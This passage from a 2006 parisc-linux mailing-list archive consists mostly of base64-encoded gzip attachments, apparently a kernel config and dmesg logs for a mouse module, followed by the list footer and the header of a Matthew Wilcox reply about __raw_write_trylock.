u1drVxwP+UaHktCjfKc8Ni0i1TPH5/LrgZaR5nZ37P8HpSGL031IAAA=

--Boundary-00=_bKe9EU/4O6u//zs
Content-Type: application/x-gzip;
  name="config_mouse_module.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="config_mouse_module.gz"

H4sICEMf8kQAA2NvbmZpZ19tb3VzZV9tb2R1bGUAlVzbcts4k77/n4I1czGZqngiybZsp9ZbBYKQ
hBFPIUhZzg1LkRiHG0XU6pAZv/02eJAAsiFnL2SJ6Map0ej+ugH69//8bpHjofixOOTLxXr9ar1k
m2y3OGQr68fie2Yti83X/OWjtSo2fxysbJUfoIabb47/Wt+z3SZbWz+z3T4vNh+twV/Dv/p3V9vF
EFi8YgMNv1iDe6vX+9h/+Hjdswa9HpD+QwN/xMdpSCIu6ONr8+x5yflBxIRO03EUPIkkPBdHT4J5
6Zj5LOI0FSH33YBOz/SGMuK+k/psHqc2j7vkyRPj4wlCoMTldkRiljrMJc9ITRI5PPokuhQoTcMo
sBmQYJK/W7RYZSDDw3GXH16tdfYTZFVsDyCq/VkIbB5CbY/5MXHPbdpRMGV+Gvip8JTZc5/HKfNn
KYnGqcs9mNr1oOpsXK7a2tpnh+P23DxIh7gzFgke+I+//YYVpySJA0XwT0TpUTyLGQ/lIsF86mUL
BJ+n3qeEJczK99amOMhezwy2cKQgKBMiJZTGKtO5WRq7aqskcTjGyafVD0UI02Yg0IfaRCRXDGsC
pBYRbyRSESQRZVIOp0qUpkEYgyg/s3QURKmAH+ismGczx2EO0sGUuK549oQ6mKYMFhg6B10XAqk5
CeLQTZTJhRH3Y0WfbZXI3FFKg4gpZCJg2ImrqM4oidlcqRMGKlVMPOYpjy6x1VHH3H+ueJDBlp0J
Dyb22DtXEW5gq8ylNrrFYrX4sgb1L1ZH+Noft9tidzjrpRc4icuUXVQVpAnsZ+J0imFlqEI8dQ7k
WosFumh1dRHRk7K7Lso5BdbONOx1sfxurRev2a7a0bUg3CmYh1nKgxTWlrJOPR5YYvktk1PfKXud
B4JOGNilIFA3dV1KRLfMYcRxuc+6FDr6dC502Igkblw1cRpmU9o0gs67YYL2LtLlmBGdaMj1sB5/
W2zAj+TbxaHYvf5WSSPcFctsvy921uF1m1mLzcr6mkmzmO1VZ3DX6/U0O0Pu+r2eS9FhARGciYl0
faHe/VyvdyL0+8o2LF0TfI1ZaRHSm6mtj61F7w+ntqHDFufwxsAJlh4ZF4noJB25JIY9Caaf2C7T
BhIx5oVyefT1bZFngZuAh4mekbqYWfqc9vXFgJLBLS7vihmT6eTzI1BOtoa5jMYpzCOInuXOZKrV
qmfoET8hmmNwQHyBH/PxmYyLDyQN2ABl0jvRewXROSyt6oVqx+cGAYvEnGJuLHTBIYexxCApDRPx
eNN7GCqiCZN516gc9w0MsN6FlL+3QupRTt5bjAv4Oxb0vQW//jxvjrHQHN0kDG3MzwWAoMChccWb
Q83UJYLrJU9E9RDQl/6U+sRTbXPFcNYbyjuTCikFYCTnI6fygS52K5jnn4rhV6qXrN0WuDUpDts1
YEZxqlWRyJXcRNZ+my3zr/nSWu3yn5plpRPwr1ykLnVSl2kuInRoQ8Y2yJkKUol8xQQABRa+2m/l
MNi/2fJ4KN3a11z+KXaA7pRR2NwfebF004qHrsq8CumW7fjZ4Z9i9z3fvJyr+izukhW0eJoOMDoM
UAFqwui0bEYxPrIEgDXBTEvi87nKDU2nU4YjKKZgZR6mHth8TonQeoNy4syIT8E9RQHAkAhrKgRs
bgOMFpNW3dAP0Y0th8VDfok4jnDnJkdajgSlkih0cFPy7APOCqac4ahCiiMlEzONCXy0vBouDbwL
9Pko8tI48X2GG7qSqUtXqQ4nKmAuK9CwKT6jPSiDn+PTsiHtnXhsflJgHn60ZvnucIR4Q2Q72IoQ
68go8QhxIyisqq+wBDODFMPZ0DjB4S+JYWiWA1BH3AUdbGl4VZh29lAdse0yuf9gex8uTercDvwC
aDU16WbNNS/tiOj0JwVp7u4sQV/ift+XYHPa2jWSFHfCrDZHUxl8XIQPts3IZhCSmhau7hUCsDhI
IZIzaHPJN7pI5RGO0yoqSNAGZJka0H3FFF/ugQAccMgFhjC8WH9yPbjG7RgQyyC42RYOpaG+iNY7
Nbz/s7UvSv62SpTS/H800pZ+SY7BxvxyIyUzah9jDy23I+6McZM6c4mf3vcGfVMwQWFJUZLr0oFh
FeaG0REXV+X54BbvgoQ48q5MJkSI+NAYfBtG/QTT7bq6UrqfCiFDnQ8Q9nxd5Dvrf4/ZMat8vtZx
GTd1atcgwDpk+wNSKZzGY+bjcJx4EXEgAkWFGRm2gm0wH4wxuZz9zgCd7Ge+zCznhMTOWSgAaFWx
FbSzXQCoYDO6gRrRQhgibQ3AgsgDCMZSO+GuBuFGT6kM/BEhg45vsiXEmtaVddwANsxW1nEPA9ou
YHD/dfXfdY6yel7nm+96JC/tHQQlQbdlL/sBEawVZ8tvm2JdvLzWMwbM7sWOtoHguYtmF7vFep2t
LYlju+kPCC3CIFIwVV2QtlJtp1KQzghfUoVHJHKLB4i1apj8oO6iVT4WSGF/cH/T2LZQwnIZuYfr
xSsyH18LneDR4GHDXXEolsVazYoIUlVXUi6rStZa2ACBtGNIONb5GBo8wcfzAh8RQcPkasmXU9Xo
OYyDmtZp2LdxoNjQI2KwlE2iSGYg8SaoEwWe3M/UmeEcYOjSAIxTyuJJR55A/ACfkH/wRt6HyHWx
iKslt9rPCF6LGasSEe5Az3GEBU2yrpJDhKcyF5uORLOKZet1s1XW590q339/bx0W2+y9RZ0rmLUS
4DaCEtq+p5OoKsWNU0MOhMCSGKc2I2xJRZSC1XH0nd/teXyZTLsrIoofmSpdMBjZXy9/wZyt/zl+
z74U/56iYuvHcX3ItxBKuomvKXsp0zLISoGEBymSBX5Lk2oAaiWLG4zH3O/uxHKI8W6x2ZdDIYfD
Lv9yPKg5ubK+CHmlCFpuRFJGtKshOgcv/77BJIjospyHuC7+uarOTs5R/1mzyxZiigO4qvcJ6d8O
cAxxYri7wXNbFQOnd/P5pRYqhjRwDfFkKQt/0DNkLGsxxLhrLqlOTK8H9xeqj5I4Ad/pBB7hFxSm
OazyaXR7fam9FmPqeQZIUW3/8MLYuYdbx5JYtk9vekNiMDRl+uquzEbWpcAPz6nL5PmYzTp6+VkC
jAtjJaKPB54VWfDBTY+bGT7BjpInjOSSTnPvrn9psZ89OetL44jB/V7QB9S7ButVbVubzWK9kwyy
yvuSFVyBhl2oPI2QDqLcax0QJO3Tle4lrHfSN5RYwJ15OhDq4qDRUR4NWzLNbHY2o0QezXSjYwCf
Vv/64cZ6N8p32RN81IRixTMIug1rCLpDPcNoMOGcqolOJ/E8LUVuB77TMp7nsOBTQlz+meEeJDaY
7RLy2+2EeeXLI7rJDhj2AUorAqnA1OT5glSB6vLu0Rw7fJOQGNYRFBSAMwzF+5If/tQkI7EGi3w9
m+hxjuxRuT3T+8Htw7CdS6z8a3oNkMwoippHeHgIqrBEhOpJ/SrSPa7zLQRYP/L1q7V5e8lhXVyu
YTyH3czxeJHE/TuDxXZYSHGLNwn7hjpl7k/gtcqYjuJGp6QFMpF7cS2h12YdEVqLGBffs40VyRwz
om5xNxySm2+d7fcWBPjSpmyuvi1+7BarvNAsgBxrJ/qsGlhsrHxzyHZfF63eIIZG5z1yHFwgoWtI
BoehAQeYKogJCQ37F2YiwVXg4iEHkOXB+oUFc12JzuIIfiCBKxeODwr6Zf+6P2Q/dEjjdE1hDMLf
fis2r8rRiLLRW4d/VQ+b7fFg3ArcD5PTiUMCEfNaGnRtgVTO1AsSwcBeqllltRzcJknmRqqgEWN+
On/s9wY3l3meH++G94o4Sqa/g2dgMeSBJUMsWnSNymbV0FuV2AxzopXgOvkNreaUPdsBibRopSkD
uzE1xIsnFpH4b/K40zdZ5m/35LOn2ICGTjwT7raxK8KCLq5+GQMKQBHwPF5FFQAqDQe4FQO0HRjy
cBWDRF827lDqAdB+vxcSXC4Vy0wAXCcY4qzocrY/EB0UMaeG9HmlhUFCJ5UeG3WxPgls1UzKL6TS
JISgmKZRfDp9mSx2q38Wu8ziH4IyvaRGbDL/owFiWSD/GqVacYQkaqmSRh4LCut61oBqVMozaJDn
0m7PEXlCex0Tj7WHVNm0b4vdYimPQ86Oqa4zU/JlszitzbMyiCelTBsHceUFiSr5iBw9i2yXL9bd
U+W6KoAbJfpQCrtDUIlaTk0lVNkuhOBHaUKiWDzeYNQo8WPusUssbB4DWGIO3rxH/OdUCl3gdPCG
EEHy6BMivpLBYbG8wQEcRk06DdYAdFSeUZBcVsuGkVDK/LfZ7MCAyVSmSWIPOwrgA56RVCgpNaGV
tG035CV4MqC8TNAFDXpl/QKfUtjVJnlA/3CfhvGzsmIuGxP6bCyEVkBPHge3Q+1KoX4O6obYOBUc
ZXK2MQdD0fWYocf1YymPpxPYbBjyeVoclt9WxYsl74i0gGBMJ06AXW0YAzCoTODZglRFKb4UTmw4
HIquH4Y33TC1yksCZLa+rovt9rVMVDboqTIMenr0KXUieWTUhWqhh2JqCp8Q91sxc6m8QtQV7ICi
+dwB7dqwkKMaGxoyGSEHeyCwgytnsV4v9n/srf7VP4D6rS9HfZW6Z0Enj+QVm/xQ7GRYgYxl8uQZ
kEhJSWe8a5q9fL9UxHnOSvzIVvkCEzS0woIUR4MVbXbjDk5ntvlLfoAdP8tXWWHZu2KxWi7KI7fm
vEdt25l14+nxbrH9li/3XYw9spWbZnZK4TPirhuBDe0QaBA+g/UlHQL3yJjZLtcicSj3CJVX6PAc
VNlTfZrGHI5DIdmIvPo2YS4EQcaGYu6W/cetPMiZA1BRa3Ci7/SvTSlToM94FCdINE+Lzb5Yw4bL
91t5zlRtvK5kyzxN115qxfDtJp4vHvvDHs4g3y14HJ4c6SgCTGInoxGLMByBkKEFeTMQPW4CoaCt
BK1kvVKe3v97r6x/VdIfNqrqFi9F/TZG544IgGIN9snn1OV+Moc19vHErcIzGxNDKlJhom4SDwY3
yOBLpvqia82lJdEInbrydYvyep5IQhT4ieK4WSnYC9yY00ydrH4uNstsVb93UrJaZLf8lh+ypbxI
rJk8v2tGgm22qauJJuJWO5JO0tNhY1nsQWPUNWV6Tywh74bsibAxIwjF1Z3eCRHphOJbU2MKJobE
kMbFJsitTD+I2Uc5ElDHIAJDYmUbeX9xX2eEZcz/R3VWle+/N8P9ozG0cgrjxeolO2BpB9nsmDhj
JC/lefSDcEoPj8nA87r+y2UOZs0hfJUXOrtnQyW/fvlAFsW7/OVFKeOwXTa5LSfayg8zh1Drysp2
u0LGGlKRZKZacu4yySh9wLuIiD+7d2fKBqIM/EYMjsii8sxagwex3AitVz4qoCEvjlZJH+0loHhQ
nZ6es8tVUTqXR2N4/rnh4NjlTqBed5u8Rpus6X/bWj4DHrvHDOcpMg7YFVob4ZvjbzMJKNU7RITi
mYC5uW5AR2JgInocALOJGAVep9lTCB7EfKQl/j8lQYzlB5wuq3x9yjzginpjlIVMN4y6elKd4nyQ
dwKkynQ0hovgYTjsVSvciDxwuZ6x/wxs6IwTZ6RVlc++ezq+dwLxYUTiDxB0ob0DTavuCaihlcza
LPL59K4JwA75QsTj/W0Po/OATuTd+/jxt3xf3N/fPlz1lVe2/Lgj7uo4ZJ8dV0V5N7sz4vP9BLVg
2grGnoXKEnuhvoEmCRg71y5f5kCEWr5jpt1fKL/wwUpgmwHQ3mTFcd8a81l5nAuKNTLTJhdJoZsY
yTYzV7XNpAu1aCkWlDS7sNEnoZn2yZ/fmKnylUUTLcEXozkrLK2zaOuOP9J1Wz7PrrXTrrLEaM9K
8o2R5HAZEqD3toDsaB073Z6dN7p2Wn2rlJgqqSgZgjqtR6irvBsyl8itLYrqxpWyixI/0q+xwaNg
NB0LkU4jGz9sU3hEOPWwK7fCs1seTZaA2WoMB1KH8taW5PI1UEDtBmXlF11uSVbBAC5zGho3Q+AQ
84Y2qvRDu8H/1HcMD3kJWuLXbeeyXMzj8n1H89X+ymqfWE/vn0Bs8TOz3MXm5bh4yRTo18zPVTXg
LH7NWivkxtynN9d3mu6qtLvrO1yYGtPdLabJKsv9bc/Yx/0tfjTRYsIVtMX0C6O9HxoOgnWm/q8w
/crAh9e/wmSwQzrTr4hgiEeMLaaHt5kern+hpQfD24etln5BTg83vzCm+zuznABUSS1P8es5WjN9
00uTbS6zEhBB0XsX6kj6bZVvCGZxNBxmnWk43haEWVsaDvMCNxzm/dRwmFftJIa3J9NHXaHKcNuW
5TTg96nhkkBDTgytJvHo/nSFelcAzDPkRgGOjriL3dOcVv9k49ti+b31IkD1vwJSeSiEh0NE3lMD
OGQ4rymDu3Qq7/lgb1C5gfz3A6NUTPgofuzftCsiHklky+qfXSAvLk7ZswGvMZpEPH7utEZ3r9tD
8VLlV7v/OaO6sq0597IknXgEv01U0/3EcHGjpnsOrvInMq7vNVlMCL6Zz/TBLb4fzhy3fXzn1hxP
4RsM8TjqP1zkMKWOa7LtBk8jLvB3HJtOnoK3WOTBs+normYhlwciXzK9KG/JcFGcMcNPBZv+I3px
uacT8tlwmaBpwU9sfnESAJBcYngLtdEqDjEvc+X3xdlG9HpwkSNmopuQO53QLMs91T5RcfMvu8Xu
1doVx0O+0aEk9CjfKY9Ni0j1zPG5/HqgZaS53R37/wFd0uWBfUgAAA==

--Boundary-00=_bKe9EU/4O6u//zs
Content-Type: application/x-gzip;
  name="dmesg_mouse_built_in.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="dmesg_mouse_built_in.gz"

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

--Boundary-00=_bKe9EU/4O6u//zs
Content-Type: application/x-gzip;
  name="dmesg_mouse_module.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="dmesg_mouse_module.gz"

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

--Boundary-00=_bKe9EU/4O6u//zs
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_bKe9EU/4O6u//zs--



From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some more questions about __raw_write_trylock()
	hppa implementation
Date: Wed, 30 Aug 2006 21:59:32 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20060831035932.GB4919@parisc-linux.org>
References: <44F5F3CB.30806@scarlet.be>
